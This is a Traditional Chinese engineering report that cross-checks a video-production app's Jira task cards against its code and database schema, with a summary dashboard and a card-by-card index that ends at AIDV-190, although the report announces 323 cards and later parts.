

# 任務卡 × 程式碼 × 資料庫 三方逐項對比報告

逐卡級 · 逐行級 · 逐欄位級 — 細部細節完整核對

| 項目   | 內容                                                                                        |
|------|-------------------------------------------------------------------------------------------|
| 專案   | healing-studio AI Director / Healing Studio 影片製作系統                                        |
| 線上站  | director.today (Railway 部署)                                                               |
| 真實棧  | React 19 + Vite + tRPC v11 + Drizzle/MySQL + Express ; 生成=fal/replicate/Gemini/ElevenLabs |
| 分支   | claude/task-card-comparison-pdf-bnw89n                                                    |
| 產出日期 | 2026-06-22                                                                                |
| 資料來源 | repo 實檔 (git 實證) , 非轉述                                                                    |

資料來源與方法 (scripts/comparison/ 解析器自動萃取) ——①任務卡 = 直接連線 live Atlassian Jira (aa0968111723.atlassian.net 專案 AIDV, Rovo MCP) , 全量 323 張, 逐卡含描述/狀態/型別/優先/labels/父卡 ; ②程式碼 = 全 repo 程式碼盤點 (1,700+ 檔逐目錄/行數) + server/client/shared 的 router/procedure/旗標 enumerate + 對每張卡 grep 卡號取 file:line 行級錨點 ; ③資料庫 = drizzle/schema.ts (87 表逐欄位) + drizzle/\*.sql migration + \_journal.json 登記核對 ; ④Railway/部署 = repo 部署產物 (railway.toml/nixpacks/Dockerfile) + .env.example 環境變數目錄 (僅名稱) 。

章節 : A 任務卡逐卡 · B 資料庫逐欄位 · C Migration 對帳 · D 全碼盤點 · E 三方一致性 · F Railway/部署。

Railway live MCP 註記 : 本 session 未連上 Railway MCP (待 AIDV-77 Bruce OAuth) , Part F 以 repo 產物盤點。

# 摘要儀表板 — 三方規模與覆蓋

| 量測項目                      | 數值           | 章節       |
|---------------------------|--------------|----------|
| Jira 任務卡（專案 AIDV-live 全量） | 323          | Part A   |
| 完成                        | 76           | Part A   |
| 進行中                       | 30           | Part A   |
| Selected for Development  | 1            | Part A   |
| Backlog                   | 216          | Part A   |
| 型別：故事 / 大型工作 / 漏洞 / 任務    | 206/19/76/22 | Part A   |
| 有程式碼行級錨點 (file:line)      | 57           | Part A/E |
| 有資料表連結（卡文提及表）             | 67           | Part A/E |
| 資料表 (mysqlTable)          | 87           | Part B   |
| 資料欄位 (逐欄)                 | 908          | Part B   |
| 索引/約束                     | 261          | Part B   |
| Migration 檔               | 82           | Part C   |
| 未登記 journal 的孤兒           | 0            | Part C/E |
| tRPC Router               | 37           | Part D   |
| tRPC Procedure            | 284          | Part D   |
| Feature flag / 旗標 token   | 50           | Part D   |
| 表：無任何卡/文件提及               | 14           | Part E   |
| 表：程式碼(var)零引用             | 4            | Part E   |

## 關鍵發現

- ①任務卡來源已校正：本版直接連線 live Jira（專案 AIDV），全量 323 張（前一版僅 77 張 = repo 鏡像，嚴重低估，已棄用）。逐卡見 Part A。
- ②卡 ↔ 程式碼：57/323 張卡可在 server/client/shared 找到 {KEY} 行級錨點 (Part A.3 逐卡列 file:line)；其餘多為 Backlog／決策／純規劃卡，碼中未留卡號註記。
- ③卡 ↔ 資料庫：67/323 張卡的摘要/描述提及具體資料表或 migration (Part A.3 逐卡列出連結之表與 migration 編號)。
- ④資料庫共 87 表 / 908 欄 / 261 索引，逐欄已於 Part B 完整列出（型別/長度/NOT NULL/PK/UNIQUE/DEFAULT/enum）。
- ⑤Migration 治理乾淨：82 支全登記於 \_journal.json，0 孤兒（AIDV-17 收尾）。
- ⑥有表無卡 14、有表無碼 4 (Part E)。

# Part A — 任務卡逐卡對比 (live Jira · 專案 AIDV 全量)

資料來源 = 直接連線 Atlassian Jira (aa0968111723.atlassian.net, 專案 AIDV) , 全量 323 張卡。『逐卡級』: A.1 看板分佈->A.2 全卡索引->A.3 逐卡展開 (狀態/型別/優先/labels/父卡/描述 + PR + 程式碼 file:line + 連結資料表 + migration) 。

## A.1 看板分佈 (狀態 × 型別)

| 狀態 / 型別                  | 張數  |
|--------------------------|-----|
| 完成                       | 76  |
| 進行中                      | 30  |
| Selected for Development | 1   |
| Backlog                  | 216 |
| —— 型別 ——                 |     |
| 大型工作(Epic)               | 19  |
| 故事(Story)                | 206 |
| 任務(Task)                 | 22  |
| 漏洞(Bug)                  | 76  |

## A.2 全卡索引 (依卡號；碼=程式碼錨點數，表=連結資料表數)

| 卡號      | 型    | 狀態     | 優先   | 摘要                                                 | PR       | 碼  | 表 |
|---------|------|--------|------|----------------------------------------------------|----------|----|---|
| AIDV-1  | 故事   | 完成     | Medi | 4-shell 重構 (flag-gated)                            | #852,861 | 0  | 0 |
| AIDV-2  | 故事   | 完成     | Medi | Wave 0 三欄導演台正式碼                                    | #862     | 0  | 0 |
| AIDV-3  | 故事   | 完成     | Medi | 互動原型 (三欄導演台)                                       | —        | 0  | 0 |
| AIDV-4  | 故事   | 完成     | Medi | 技術簡報 (落地路線圖)                                       | —        | 0  | 0 |
| AIDV-5  | 故事   | 完成     | Medi | Project SSOT : MOCK->真 creative_projects           | #862,863 | 0  | 1 |
| AIDV-6  | 故事   | 完成     | Medi | prompt_assets junction 表                           | #864     | 0  | 2 |
| AIDV-7  | 故事   | 完成     | Medi | 合流 feat/4-shell-restructure -> main                | #862,863 | 0  | 0 |
| AIDV-8  | 故事   | Backlo | High | junction backfill 真 DB 實跑                          | #864     | 0  | 1 |
| AIDV-9  | 故事   | Backlo | High | junction relation 寫入點 (variant/rewrite/extended    | #864     | 1  | 0 |
| AIDV-10 | 故事   | 完成     | Medi | prompt_library content 去重策略                        | —        | 2  | 1 |
| AIDV-11 | 故事   | 完成     | Medi | 統一供應商門面 + Cloudflare AI Gateway                    | —        | 2  | 0 |
| AIDV-12 | 故事   | 完成     | High | 其餘可接子系統接真實 procedure                               | #862     | 15 | 0 |
| AIDV-13 | 故事   | Backlo | High | 任務耐久化 BullMQ+Redis+可重連 SSE                         | —        | 0  | 0 |
| AIDV-14 | 故事   | 完成     | High | 內部成本歸屬可視 (依專案/成員/工作流落帳)                            | —        | 31 | 1 |
| AIDV-15 | 故事   | 完成     | High | 上傳改 signed URL/tus (廢 base64)                      | —        | 18 | 0 |
| AIDV-16 | 故事   | Backlo | Low  | fal.ai 雙層生影片                                       | —        | 0  | 0 |
| AIDV-17 | 故事   | 完成     | High | migration 治理: 孤兒 0071-0074 處置                      | —        | 4  | 0 |
| AIDV-18 | 故事   | Backlo | Lowe | M3 影片段落狀態機                                         | —        | 0  | 0 |
| AIDV-19 | 故事   | Backlo | Low  | MySQL->Supabase 遷移 + 退役 Pinecone                   | —        | 0  | 0 |
| AIDV-20 | 故事   | 完成     | Lowe | presence + Redis SET NX 生成鎖                        | —        | 7  | 0 |
| AIDV-21 | 故事   | Backlo | Lowe | Yjs/Hocuspocus (腳本) + tRPC subscription (Shot JSON | —        | 0  | 0 |
| AIDV-22 | 故事   | Backlo | Lowe | XState 收斂                                          | —        | 0  | 0 |
| AIDV-23 | 故事   | Backlo | Lowe | 可觀察/可審核/半唯讀 builder                                | —        | 0  | 0 |
| AIDV-24 | 故事   | Backlo | Lowe | BYOMCP 權限/稽核                                       | —        | 0  | 0 |
| AIDV-25 | 故事   | Backlo | Lowe | orchestrator + 專責 worker                           | —        | 0  | 0 |
| AIDV-26 | 故事   | 完成     | Medi | 決策紀錄: prompt↔asset=junction                        | #864     | 0  | 0 |
| AIDV-27 | 故事   | 完成     | Medi | 決策紀錄: LoRA 改走 fal.ai                               | —        | 0  | 0 |
| AIDV-28 | 故事   | 完成     | Medi | 決策紀錄: halfvec(3072)+HNSW/自建 JWT/Supabase 排後        | —        | 0  | 0 |
| AIDV-29 | 故事   | Backlo | Medi | 避雷備忘                                               | —        | 0  | 0 |
| AIDV-30 | 大型工作 | 完成     | Medi | Wave 0 前端骨架/導演台                                    | #852,862 | 0  | 0 |
| AIDV-31 | 大型工作 | 進行中    | Medi | Wave 1 SSOT+接線                                     | —        | 0  | 0 |

| 卡號      | 型    | 狀態     | 優先   | 摘要                                               | PR       | 碼  | 表 |
|---------|------|--------|------|--------------------------------------------------|----------|----|---|
| AIDV-32 | 大型工作 | Backlo | Medi | Wave 2 耐久任務/成本/血統                                | —        | 0  | 0 |
| AIDV-33 | 大型工作 | Backlo | Medi | Wave 3 重後端/基建/協作                                 | —        | 0  | 0 |
| AIDV-34 | 大型工作 | Backlo | Medi | Wave 4 代理建置區/BYOMCP                              | —        | 0  | 0 |
| AIDV-35 | 故事   | Backlo | Medi | 瀏覽器模擬創作者實測 (E2E persona 測試)                      | —        | 0  | 0 |
| AIDV-36 | 故事   | 完成     | Medi | W1-3 promptVault 第 6 條接縫 (adapters/promptVault.  | —        | 0  | 2 |
| AIDV-37 | 故事   | 完成     | Medi | W1-4 Flow TV 放映皮                                 | —        | 0  | 1 |
| AIDV-38 | 故事   | 完成     | Medi | W1-5 單模型遊樂場統一目錄頁                                 | —        | 0  | 0 |
| AIDV-39 | 故事   | 完成     | Medi | W1-6 per-引擎設定面板 + 個人化面板完善                        | —        | 0  | 0 |
| AIDV-40 | 故事   | 完成     | Medi | W1-7 工程衛生                                        | —        | 0  | 0 |
| AIDV-41 | 故事   | 完成     | Medi | W1-8 從零引導表單細修 + 四態文案抽核                           | —        | 0  | 0 |
| AIDV-42 | 故事   | 完成     | Medi | W1-9 手機版導演台 (Ⓢ-H7)                               | —        | 0  | 0 |
| AIDV-43 | 故事   | Backlo | Medi | W2-E G10 user_workflows 工作流持久化                   | —        | 0  | 0 |
| AIDV-44 | 故事   | Backlo | Medi | W2-F G7 segment/session 狀態機 (shared)             | —        | 0  | 0 |
| AIDV-45 | 故事   | Backlo | Medi | W2-G G11 LoRA 調度 UI (fal 為主)                     | —        | 0  | 1 |
| AIDV-46 | 故事   | Backlo | Medi | W2-H world 畫布 (WorldPanel 完成度 Meter)             | —        | 0  | 0 |
| AIDV-47 | 故事   | Backlo | Medi | W2-I G12 前置修帳                                    | —        | 0  | 0 |
| AIDV-48 | 故事   | Backlo | Lowe | W3-B 初剪編輯器 rough-cut + 匯出打包                      | —        | 0  | 1 |
| AIDV-49 | 故事   | Backlo | Lowe | W3-D 代理操作面板 (唯讀版起步)                              | —        | 0  | 1 |
| AIDV-50 | 故事   | Backlo | Lowe | W3-E 排程批次走 videoSession + 段落綁定                   | —        | 0  | 0 |
| AIDV-51 | 故事   | Backlo | Lowe | W3-F 血統檢視 v1                                     | #864     | 0  | 1 |
| AIDV-52 | 故事   | Backlo | Lowe | W3-G strangler 刪除 : P2 舊三欄                       | —        | 0  | 0 |
| AIDV-53 | 故事   | Backlo | Lowe | W4-E 暗色「影院/夜間」次模式                                | —        | 0  | 0 |
| AIDV-54 | 故事   | Backlo | Lowe | W4-F strangler 收尾刪除                              | —        | 0  | 0 |
| AIDV-55 | 大型工作 | Backlo | Medi | Wave H 營運與安全硬化                                   | —        | 0  | 0 |
| AIDV-56 | 故事   | 完成     | High | H1 C1 自動把關 (GitHub Actions PR gate)              | —        | 0  | 0 |
| AIDV-57 | 故事   | 完成     | Medi | H2 資料庫備份 + 還原演練                                  | —        | 2  | 0 |
| AIDV-58 | 故事   | 完成     | Medi | H3 監控鎖門 + 錯誤追蹤                                   | —        | 17 | 0 |
| AIDV-59 | 故事   | 完成     | Medi | H4 JWT 硬化                                        | —        | 29 | 0 |
| AIDV-60 | 故事   | 完成     | Medi | H5 AI 關道鎖門                                       | —        | 4  | 0 |
| AIDV-61 | 故事   | 完成     | Medi | H6 部署回滾 SOP + migration 失敗行為                     | —        | 6  | 0 |
| AIDV-62 | 故事   | Backlo | Medi | H8b userRating->模型推薦迴路                           | —        | 1  | 2 |
| AIDV-63 | 故事   | Backlo | Medi | H9 個資出口 (刪帳號/資料匯出/log 保留)                        | —        | 0  | 1 |
| AIDV-64 | 故事   | 完成     | Medi | M1 上傳檔案驗證 (magic-byte + 移除 SVG)                  | —        | 16 | 0 |
| AIDV-65 | 故事   | 完成     | Medi | M2 內容審核 fail-closed + 供應商安檢開啟                    | —        | 19 | 0 |
| AIDV-66 | 故事   | Backlo | Medi | M3 媒體儲存版本化/快照                                    | —        | 0  | 0 |
| AIDV-67 | 故事   | Backlo | Medi | M4 儲存清理 job (R2 孤兒 + expiresAt)                  | —        | 9  | 0 |
| AIDV-68 | 故事   | Backlo | Medi | M5 金鑰輪替與加密金鑰分離                                   | —        | 0  | 0 |
| AIDV-69 | 故事   | 完成     | Medi | M6 RAG/教材庫注入側門安檢                                 | —        | 27 | 1 |
| AIDV-70 | 故事   | Backlo | Medi | M7 staging 環境                                    | —        | 0  | 0 |
| AIDV-71 | 故事   | 進行中    | Medi | M8 巨檔拆分                                          | —        | 2  | 0 |
| AIDV-72 | 故事   | Backlo | Medi | M9 效能地雷拆除                                        | —        | 0  | 0 |
| AIDV-73 | 故事   | Backlo | Medi | M10 TypeScript 債                                 | —        | 0  | 0 |
| AIDV-74 | 大型工作 | Backlo | Medi | Wave U : UIUX 視覺實裝 (⑦ UIUX 設計 46 頁落地)            | —        | 4  | 0 |
| AIDV-75 | 故事   | 進行中    | High | U-0 盤點 : ⑦ UIUX 46 頁 ↔ 既有卡缺口清單 (產出細項卡)           | —        | 0  | 0 |
| AIDV-76 | 漏洞   | 完成     | Medi | P0 : 生產 migration 卡死——0067 之後全沒套用, 影片專案功能 500    | #869,870 | 0  | 3 |
| AIDV-77 | 故事   | Backlo | Medi | Railway MCP 接入 (官方遠端版) + 自架 mcp-server 處置        | —        | 0  | 0 |
| AIDV-78 | 大型工作 | Backlo | Medi | Wave I 現有功能整合 (既有 orb/spirit/世界觀/教材庫 -> 導演台脊椎接線) | —        | 0  | 0 |
| AIDV-79 | 故事   | 完成     | Medi | I-1 導演台光球接既有 orb/spirit 編排系統 (最高 CP 值)           | —        | 4  | 0 |
| AIDV-80 | 故事   | 完成     | Medi | I-2 世界觀自動風格注入生成管線                                | —        | 6  | 0 |

| 卡號       | 型    | 狀態     | 優先   | 摘要                                                     | PR       | 碼  | 表 |
|----------|------|--------|------|--------------------------------------------------------|----------|----|---|
| AIDV-81  | 故事   | 完成     | Medi | I-3 劇本->分鏡自動骨架                                         | —        | 5  | 0 |
| AIDV-82  | 故事   | 完成     | Medi | I-4 教材庫 RAG -> 劇本接地                                    | —        | 4  | 0 |
| AIDV-83  | 故事   | 完成     | Medi | I-5 真實地球研究面板 (功能已建但完全沒有前端)                             | —        | 4  | 0 |
| AIDV-84  | 故事   | 完成     | Medi | I-6 Creative Projects 成為影片工作流主入口                       | —        | 5  | 0 |
| AIDV-85  | 故事   | 進行中    | High | I-7 LoRA 角色一致性閉環                                       | —        | 4  | 0 |
| AIDV-86  | 故事   | 完成     | Medi | I-8 Prompt 庫 + 收藏跨庫, 生成時建議                             | —        | 4  | 3 |
| AIDV-87  | 故事   | 完成     | Medi | I-9 Sense 意圖引擎-> 個人化 onboarding                        | —        | 5  | 0 |
| AIDV-88  | 故事   | Backlo | High | Confluence MCP 連線啟用 + 頁面樹/變更紀錄/討論區補建                   | #866,872 | 0  | 0 |
| AIDV-89  | 大型工作 | 進行中    | Medi | [補] AIDISC 討論區 (Jira 暫代 · Confluence 不可達期間)            | —        | 0  | 0 |
| AIDV-90  | 任務   | Backlo | High | 撤銷並更換已外洩的 Atlassian API token (安全 · 優先)                | —        | 0  | 0 |
| AIDV-91  | 故事   | 完成     | Medi | U-1 設計系統落地: 亮色暖光 tokens 全站套用 (登入除外)                    | #883     | 0  | 0 |
| AIDV-92  | 故事   | 進行中    | High | U-2 設計套件元件逐殼採用 (/video /social /learn /settings        | #883     | 73 | 0 |
| AIDV-93  | 故事   | 完成     | Medi | U-3 決議: 登入畫面保留原 cosmic 場景, 不套新設計系統                     | #883     | 0  | 0 |
| AIDV-94  | 故事   | 完成     | High | U-4 殼層 chrome 視覺實裝 (脊椎: Rail/TopBar/CmdK/Toast/Mob     | —        | 5  | 0 |
| AIDV-95  | 故事   | 進行中    | Medi | U-5 /video 六步工作流座艙視覺實裝 (含確認門 + ShotCard)               | —        | 21 | 0 |
| AIDV-96  | 故事   | 進行中    | Medi | U-6 /social 九步旅程視覺實裝 (S1-S9)                           | —        | 22 | 0 |
| AIDV-97  | 故事   | 完成     | Medi | U-7 /learn 學習中心視覺實裝 (模型瀏覽/研究代理/API 金鑰)                 | —        | 6  | 0 |
| AIDV-98  | 故事   | 完成     | Medi | U-8 /settings 設定視覺實裝 (一般/Provider/代理/觀測/Admin R        | —        | 3  | 0 |
| AIDV-99  | 故事   | 進行中    | Medi | U-9 共用 PromptVault 「生成->存庫->重用」採用 (跨 /video /socia     | #883     | 4  | 2 |
| AIDV-100 | 故事   | 完成     | Medi | I-6 Phase 2b 世界自動連結 (嚮導世界步可選並連結世界)                     | #882     | 8  | 0 |
| AIDV-101 | 故事   | 完成     | Medi | U-10 設計系統 51 元件庫補齊 (chrome/cockpit/shell-specif        | —        | 12 | 0 |
| AIDV-102 | 大型工作 | 進行中    | High | [進行] AIDV 開放工作流程 (看板作業 SOP · 單一作業面)                    | —        | 0  | 0 |
| AIDV-103 | 故事   | 進行中    | High | UI/UX 一致性: ui-ux-pro-max 設計智庫接入 AIDV 工作流 (設計門/驗證       | —        | 0  | 0 |
| AIDV-104 | 故事   | Backlo | Medi | modelResearcher 測試 vs 現行設計衝突 (CI baseline 收尾)          | —        | 0  | 0 |
| AIDV-105 | 大型工作 | 完成     | Medi | [重複作廢->見 AIDV-74 Wave U] 設計系統與四殼地基                     | —        | 0  | 0 |
| AIDV-106 | 大型工作 | 完成     | Medi | [重複作廢->見 AIDV-30 Wave O] Wave 0 純前端先贏                  | —        | 0  | 0 |
| AIDV-107 | 大型工作 | 完成     | Medi | [重複作廢->見 AIDV-31 Wave 1] Wave 1 面板 + Adapter 接線        | —        | 0  | 0 |
| AIDV-108 | 大型工作 | 完成     | Medi | [重複作廢->見 AIDV-32 Wave 2] Wave 2 需後端表                   | —        | 0  | 0 |
| AIDV-109 | 大型工作 | 完成     | Medi | [重複作廢->見 AIDV-33 Wave 3] Wave 3 重後端 + 基礎設施             | —        | 0  | 0 |
| AIDV-110 | 故事   | 完成     | Medi | [重複作廢->見 AIDV-91 U-1] Token/Theme drop-in              | —        | 0  | 0 |
| AIDV-111 | 故事   | 完成     | Medi | [重複作廢->見 AIDV-95 U-5] 三欄 cockpit 殼                     | —        | 0  | 0 |
| AIDV-112 | 故事   | 完成     | Medi | [重複作廢->見 AIDV-95 U-5] 六個 DatabaseColumn 分頁骨架           | —        | 0  | 0 |
| AIDV-113 | 故事   | 完成     | Medi | [重複作廢->見 AIDV-94 U-4] 共用三態/四態元件                        | —        | 0  | 0 |
| AIDV-114 | 故事   | 進行中    | High | U-11 OrbAssistant 光球助手視覺實裝 (跨殼: 浮球 + 主動泡泡 + 6 情境分頁 + 人 | —        | 8  | 0 |
| AIDV-115 | 故事   | 完成     | Medi | U-12 連接器/個人資料庫 5 類治理面板視覺實裝 (/settings/connectio        | —        | 9  | 2 |
| AIDV-116 | 故事   | 進行中    | Medi | U-13 團隊協作系統視覺實裝 (/learn/teams: 團隊/成員/角色/共享/分工看板)       | —        | 12 | 4 |
| AIDV-117 | 故事   | 進行中    | Medi | U-14 Flow TV 全屏沉浸播放器視覺實裝 (跨 /video /social 提示庫放        | —        | 5  | 2 |
| AIDV-118 | 故事   | 進行中    | Medi | U-15 全站四態/空/錯誤態 + RWD 斷點 + a11y (WCAG AA/reduced-mo    | —        | 0  | 0 |
| AIDV-119 | 故事   | 進行中    | High | U-10 首頁 landing 視覺實裝 (門面 KV/icon set/ calm orb)        | #463     | 10 | 0 |
| AIDV-120 | 故事   | Backlo | High | OrbAssistant 語音 Gateway 後端實裝 (取代 stub · 接 ASR/T        | —        | 0  | 0 |
| AIDV-121 | 故事   | 完成     | High | 團隊資料可見性/權限邊界 SSOT (資料層 RBAC, 非僅 UI)                    | —        | 34 | 0 |
| AIDV-122 | 故事   | Backlo | Medi | 內部資料治理: 素材來源血統/敏感分級/ AI 輸出來源標示                         | —        | 0  | 0 |
| AIDV-123 | 故事   | 完成     | Medi | 全站操作稽核軌跡 (audit log: actor/動作/目標/時間)                   | —        | 5  | 0 |
| AIDV-124 | 故事   | Backlo | Low  | API 成本配額/預算管控 (可選 · 疊在 AIDV-14 之上)                     | —        | 0  | 0 |
| AIDV-125 | 大型工作 | Backlo | High | Wave S: AI Skill 工作層 (自訂 + 外部 Skill, 導演腦編排)            | —        | 0  | 0 |

| 卡號       | 型  | 狀態     | 優先   | 摘要                                                    | PR       | 碼  | 表 |
|----------|----|--------|------|-------------------------------------------------------|----------|----|---|
| AIDV-126 | 故事 | Backlo | High | S-1 Skill 契約 SSOT (manifest schema + 擴充 workflow_     | —        | 0  | 0 |
| AIDV-127 | 故事 | Backlo | High | S-2 官方 Skill 集：封裝現有影片流程 (契約黃金樣本)                      | —        | 0  | 0 |
| AIDV-128 | 故事 | Backlo | High | S-3 Skill 編排器 (orb/spirit -> 多 Skill 串接 / 失敗重試)       | —        | 0  | 0 |
| AIDV-129 | 故事 | Backlo | Medi | S-4 Skill 註冊 / 信任分級 (官方·已審核·社群) / 權限放行                | —        | 0  | 0 |
| AIDV-130 | 故事 | Backlo | Medi | S-5 Skill 成本歸屬 (依 skillId 落帳, 疊在 AIDV-14 上)           | —        | 0  | 1 |
| AIDV-131 | 故事 | Backlo | High | S-6 外部/社群 Skill 沙箱 (資料隔離 + 資源上限) + 供應鏈安全 (pin/重審)     | —        | 0  | 0 |
| AIDV-132 | 故事 | Backlo | Medi | 退役 runtime SchemaEnsure 動態補 schema -> 改 pre-dep       | —        | 0  | 0 |
| AIDV-133 | 故事 | Backlo | Low  | 刪除舊 UI 路徑 (strangler Eliminate 階段)                    | —        | 0  | 0 |
| AIDV-134 | 故事 | Backlo | Medi | U-4a 脊椎 chrome：ProjectSwitcher 展開 (專案清單 + Context     | —        | 0  | 0 |
| AIDV-135 | 故事 | Backlo | Medi | U-4b 脊椎 chrome：ProviderChip 下拉 (hf / gemini / fal / m | —        | 0  | 0 |
| AIDV-136 | 故事 | Backlo | Medi | U-4c 脊椎 chrome：CommandPalette CmdK (前往/代理/切專案/Pro     | —        | 0  | 0 |
| AIDV-137 | 故事 | Backlo | Medi | U-4d 脊椎 chrome：Toasts (ok/warn/bad/info + auto-di     | —        | 0  | 0 |
| AIDV-138 | 故事 | Backlo | Medi | U-4e 脊椎 chrome：MobileNav (≤780 底部 5 籤 + 中央光球 FAB)     | —        | 0  | 0 |
| AIDV-139 | 故事 | 完成     | Low  | U-4f 脊椎 chrome：StateInspector (四態演示切換, 可上線隱藏)         | —        | 4  | 0 |
| AIDV-140 | 故事 | Backlo | High | U-AUDIT 完整 UI/UX + 資料層連結 體檢與整改 (非技術創作者北極星)            | —        | 0  | 0 |
| AIDV-141 | 故事 | Backlo | Medi | U-SOP Figma 設計系統建置 (SOP v1) 追蹤   S1-S7 對齊             | —        | 0  | 0 |
| AIDV-142 | 故事 | 完成     | Medi | U-SOP-3 atom 元件庫 (綁變數)   btn/tag/pill/dot/meter/k     | —        | 8  | 0 |
| AIDV-143 | 故事 | Backlo | Low  | U-SOP-7 回流 code   Code Connect 映射 + Variables->to     | —        | 0  | 0 |
| AIDV-144 | 故事 | Backlo | Medi | U-9 Phase 2：PromptVaultAdoption 掛載進 /video /so        | #918     | 0  | 0 |
| AIDV-145 | 故事 | Backlo | Medi | U-13 Phase 2：teams 元件掛載進 /learn/teams 路由 + 接 tea      | #918     | 0  | 1 |
| AIDV-146 | 故事 | Backlo | Medi | U-14 Phase 2：FlowTvOverlay 掛載進 /video /social +       | #918     | 0  | 1 |
| AIDV-147 | 故事 | Backlo | Medi | U-10 Phase 2：landing 門面元件掛載進首頁 page (走查後上線)           | #918     | 0  | 0 |
| AIDV-148 | 故事 | Backlo | Medi | U-12 Phase 2：connectors greenfield 元件與 #917 /s        | #917,918 | 0  | 2 |
| AIDV-149 | 故事 | Backlo | Medi | U-5 續：/video 其餘步驟視覺實裝 (世界觀/劇本/分鏡/成片)                  | #918     | 0  | 0 |
| AIDV-150 | 故事 | Backlo | Medi | U-6 續：/social 其餘步驟視覺實裝 (S1-S3-S9)                     | #918     | 0  | 0 |
| AIDV-151 | 故事 | Backlo | Medi | 接通 Director->Video 斷點：ScriptSegment[] 自動入 video       | —        | 0  | 1 |
| AIDV-152 | 故事 | 完成     | Medi | Worldview->Director 自動載入 worldFramework (補半通接縫)       | —        | 15 | 0 |
| AIDV-153 | 故事 | 完成     | Medi | 成本帳本升級為 append-only 雙分錄 (idempotency + 對帳 job)        | —        | 8  | 1 |
| AIDV-154 | 故事 | Backlo | Medi | 多語 / 在地化 (i18n)：UI 文案與四態引導抽出可翻譯資源                     | —        | 0  | 0 |
| AIDV-155 | 故事 | Backlo | Medi | 局部編輯 / inpaint 統一 UI (框選區域局部重生, 不重生整鏡)                | —        | 0  | 0 |
| AIDV-156 | 故事 | 完成     | Medi | 本機開發環境一鍵 bootstrap 納入 repo (docker-compose / .env     | —        | 0  | 0 |
| AIDV-157 | 漏洞 | 完成     | High | [QA探查] 導演對話送出訊息回 500 「Conversation not found」——       | —        | 8  | 0 |
| AIDV-158 | 漏洞 | 完成     | Medi | [資安巡檢C1] FAL webhook 缺 per-job token + 密鑰未設時 fai      | —        | 12 | 0 |
| AIDV-159 | 漏洞 | 完成     | Medi | [資安巡檢C1] Stripe webhook 從未計算 HMAC + 先回200再驗 (接金流前     | —        | 6  | 1 |
| AIDV-160 | 漏洞 | 進行中    | High | [QA探查] 選 Mock \$0 引擎, 生成卻自動回退付費 hf 並可能扣點——創作者最在意      | —        | 28 | 0 |
| AIDV-161 | 任務 | 完成     | High | [opt] loadProject 跨專案資料混入：worldStoryboard.list        | —        | 6  | 0 |
| AIDV-162 | 任務 | 完成     | High | [opt] spine projectGateway 以 as any 餵末遷移方法 -> 形       | —        | 9  | 0 |
| AIDV-163 | 任務 | 完成     | Medi | [opt] spine/前端健壯性：先報成功競態 + 空 catch 吞錯 + N+1 寫入 + 死碼按  | —        | 0  | 0 |
| AIDV-164 | 任務 | Backlo | Medi | [opt] Fal 派發碎片化收斂：image/audio/video router 各包         | —        | 0  | 2 |
| AIDV-165 | 漏洞 | 完成     | High | [QA探查] 整個 AI 文字生成層壞掉：LLM 模型設成失效的 Perplexity 「so       | —        | 1  | 0 |
| AIDV-166 | 任務 | Backlo | Medi | [opt] fal 預扣款競態：先扣點再送 fal, submit transient 失敗有       | —        | 0  | 0 |
| AIDV-167 | 任務 | Backlo | Medi | [opt] Stripe webhook 事件處理器仍空殼：付費開通/續期/降級從未落地 (A       | —        | 0  | 0 |
| AIDV-168 | 任務 | Backlo | Medi | [opt] 生成輸入 URL 未驗證的 SSRF 面：director firstFrame        | —        | 0  | 0 |
| AIDV-169 | 任務 | Backlo | Medi | [opt] 生成資料完整性：backgroundJobs↔generationHistory        | —        | 0  | 2 |
| AIDV-170 | 任務 | Backlo | Medi | [opt] Drizzle migration 重複編號 (0008/0033/0067) 修號      | —        | 0  | 0 |
| AIDV-171 | 任務 | Backlo | Medi | [opt] db:push/drizzle migrate 納入 deploy flow 自        | —        | 0  | 0 |
| AIDV-172 | 任務 | Backlo | Medi | [opt] 四 Compiler 加 schema 驗證 (SSML/prompt lengt       | —        | 0  | 0 |
| AIDV-173 | 任務 | Backlo | Medi | [opt] 三組生成事件總線合一 (generationEvents + orbChatPro       | —        | 0  | 0 |
| AIDV-174 | 任務 | Backlo | Medi | [opt] 抽 useGenerationTask hook 消除四 studio 生成樣板        | —        | 0  | 0 |
| AIDV-175 | 任務 | Backlo | Medi | [opt] 收斂面板/imageStudio 的 any-cast 為具名型別 (inferR       | —        | 0  | 0 |
| AIDV-176 | 任務 | Backlo | Medi | [opt] 前端效能小修：OrbCreationStage 背景輪詢關閉 + apiUsage.      | —        | 0  | 0 |

| 卡號       | 型  | 狀態     | 優先   | 摘要                                               | PR   | 碼 | 表 |
|----------|----|--------|------|--------------------------------------------------|------|---|---|
| AIDV-177 | 任務 | Backlo | Low  | [opt] 建置設定小修：@assets alias 對齊 tsconfig + wouter  | —    | 0 | 0 |
| AIDV-178 | 任務 | Backlo | Medi | [opt] qa-explore 多代理 persona 評估輸入綁定防漂移 (finding  | —    | 0 | 0 |
| AIDV-179 | 任務 | Backlo | Low  | [opt] 低風險小修合輯：promptLibrary content 搜尋 + downloa | —    | 0 | 1 |
| AIDV-180 | 漏洞 | Backlo | High | [QA探查R5] 引導式創作「自動拆解」前後端契約不符：前端送 (script)、後端要 s   | —    | 0 | 0 |
| AIDV-181 | 漏洞 | 完成     | High | [QA探查R6] 全站文字 AI 仍給不出實質內容：AIDV-165 修好後 ai.chat   | —    | 0 | 1 |
| AIDV-182 | 故事 | Backlo | Medi | [opt] 上傳 signed-URL finalize 內容嗅探 fail-open：Ra   | #946 | 0 | 0 |
| AIDV-183 | 故事 | Backlo | Medi | [opt] 上傳 signed-URL finalize 內容嗅探 fail-open：Ra   | #946 | 0 | 0 |
| AIDV-184 | 漏洞 | 完成     | Medi | [opt] promptLibrary 可見性/IDOR 一致性：incrementUseC   | —    | 5 | 1 |
| AIDV-185 | 任務 | Backlo | Medi | [opt] dataConnections 歸屬/生命週期硬化：create 未驗 team   | —    | 0 | 2 |
| AIDV-186 | 漏洞 | Backlo | Medi | [opt] rbac.transferOwnership：擁有權移轉 + 清共享為兩個非交易 a | —    | 0 | 0 |
| AIDV-187 | 故事 | Backlo | Medi | [opt] worldbuilding router 8 個 placeholder end   | —    | 0 | 0 |
| AIDV-188 | 故事 | Backlo | Medi | [opt] teams router 承諾『轉移擁有權』卻無 transferOwnersh   | —    | 0 | 1 |
| AIDV-189 | 故事 | Backlo | Medi | [opt] apiUsage alertConfigs 只寫不評估：budget/quota   | —    | 0 | 3 |
| AIDV-190 | 故事 | Backlo | Medi | [opt] learnHub admin CRUD 寫 in-memory 模組陣列——重啟   | —    | 0 | 0 |
